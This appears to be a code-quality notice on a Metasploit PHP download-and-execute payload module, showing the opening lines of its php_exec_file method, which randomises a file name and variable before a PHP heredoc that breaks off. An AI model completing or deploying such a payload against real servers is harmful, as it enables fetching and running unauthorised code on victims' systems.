modules/payloads/singles/php/download_exec.rb
Method php_exec_file
has 31 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def php_exec_file
exename = Rex::Text.rand_text_alpha(rand(8) + 4)
dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
shell = <<-END_OF_PHP_CODE
#{php_preamble(disabled_varname: dis)}